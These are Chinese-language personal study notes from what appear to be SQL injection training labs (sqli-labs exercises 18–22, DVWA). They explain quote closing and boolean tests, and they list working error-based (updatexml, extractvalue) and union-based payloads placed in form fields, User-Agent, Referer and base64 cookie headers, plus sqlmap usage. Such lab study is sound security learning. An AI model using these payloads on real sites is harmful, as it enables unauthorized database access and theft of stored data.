sqlmap -r 11.txt
sqlmap在密码不对,账户不对的的情况下,也可以跑出,可以多加几个注入点,也可以一个不加
如果不打注入点,会跑的超级慢,超级慢
账号和密码不对也可以引发注入
sql注入语句分析,
?id=1’ and 1=1–+
?id=1’ and 1=2–+
如果是1=2.后面条件不成立,id=1也不能执行,他将会执行id=-1的错误页面,或者是超出id范围的那个页面,如果是1=1条件成立,则前后两个都对,才执行
解释一下单引号的问题
加上的单引号,语句就提前闭合,但是不加注释,后面还有一个真正的引号在起作用
之前的语句:select username where ?id=’ ‘;
加上id=1’,语句就变成了这样:select username where ?id=’ 1’ ';
所以这就是为什么加上id=1’会这样,必须加上注释符,才会正确,把后面的东西注释掉,这也是为什么用and判断的原因,and语句的判断根据前面id的正确和错误返回的页面,很重要,只有前后正确
才会得到判断
or 语句的判断,这样比较精准,前后都错误,返回一个id值不存在的页面,不能说是报错页面,是id值不存在的页面,这就取决于搜索框必须有这个变量。
/?id=-1’ or 1=2–+
select username where ?id=’ 1’ --+ ';
单引号双引号都不会报错
有延迟,证明前面admin ’ 是正确的
通过分析打印的代码,有双引号和括号闭合
admin") and 1=1#
实验原理:
1 分析源代码
username中的vlaue ,限制输入字符15
passwd没有做check
用户名输入正确的admin,后面的password代码才会执行,完成更新
判断语句源于uname,where语句在uname这一块,
在passwd做不显示,做sleep,包直接就没了,直接pass
2 传统的sql语句已经不适应了
借助显错函数,盲猜,第一步爆库,第二步爆表名,第三步爆表里的列名
爆库,database
爆表名,借助报错信息
爆列名,指定数据库(security),指定表名,查列名,用 group_concat(table_name)把查询出来的数据连接起来
3 sqlmap自己找,给他注入点加个标记,需要加什么标记??????
2 传统的sql语句已经不适应了
借助显错函数,盲猜,第一步爆库,第二步爆表名,第三步爆表里的列名
爆库,database
爆表名,借助报错信息
爆列名,指定数据库名字(security),指定表名,查列名,用 group_concat(table_name)把查询出来的数据连接起来
数据库中符号"."代表下一级,如dvwa.user表示dvwa数据库下的user表名
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name: 表名
column_name:列名
table_schema:数据库名
(1)选择在passwd下功夫,第一步最简单的爆mysql的版本
’ and updatexml(1,concat(0x7e,version(),0x7e),1)–+
(2)爆数据库名称
’ and updatexml(1,concat(0x7e,database(),0x7e),1)–+
(3)爆数据库,select的内容记得加括号
’ and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)–+
(4)爆表
’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’),0x7e),1)–+
’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’),0x7e),1)–+
实验18
代码分析:
1 把user-agent数据插入了数据库,通过报错语句查询数据库名称,
无论对错,都记录
uname和password,单引号 做了转义,只要了20个字符
拿到探测点也没用,输多了就全没了,全取消了
正确的用户名和密码是:admin 12345
只有密码正确,才会触发第二条语句
'and extractvalue(1,concat(0x7e,database(),0x7e)) and ’
实验19
refer 也得成功登录
admin 12345
'and extractvalue(1,concat(0x7e,database(),0x7e)) and ’
实验20
cookie
isset 函数
如果不存在cookie,会显示一张错误的图,显示另一套代码,20.jpg
检测是否存在标签,登录不获取cookie,
还有个开关
admin 12345
admin’ order by 3–+
但是做不出效果来
继续深挖,成功,但是不知道为什么uname=111?????????
这是一个post包
输入语句:Cookie: uname=111’ union select ‘qq’,database(),version()#
不知道为什么是111
开关
&submit=Submit
实验21
cookie中做了base64的加密
cookie:uname= admin
做一个base64加密,把
admin’) and 1=1#
替换在uname
post包
Cookie: uname= 12345’) union select ‘qq’,database(),version()#
三个可以插入的位置,cookie中的用户名只要不是admin,都可以爆库
实验22
在21的基础上,双引号
admin" and 1=1#
提示utf-8,编码
Cookie: uname= 111" union select ‘qq’,database(),version()#
尝试使用get包,报错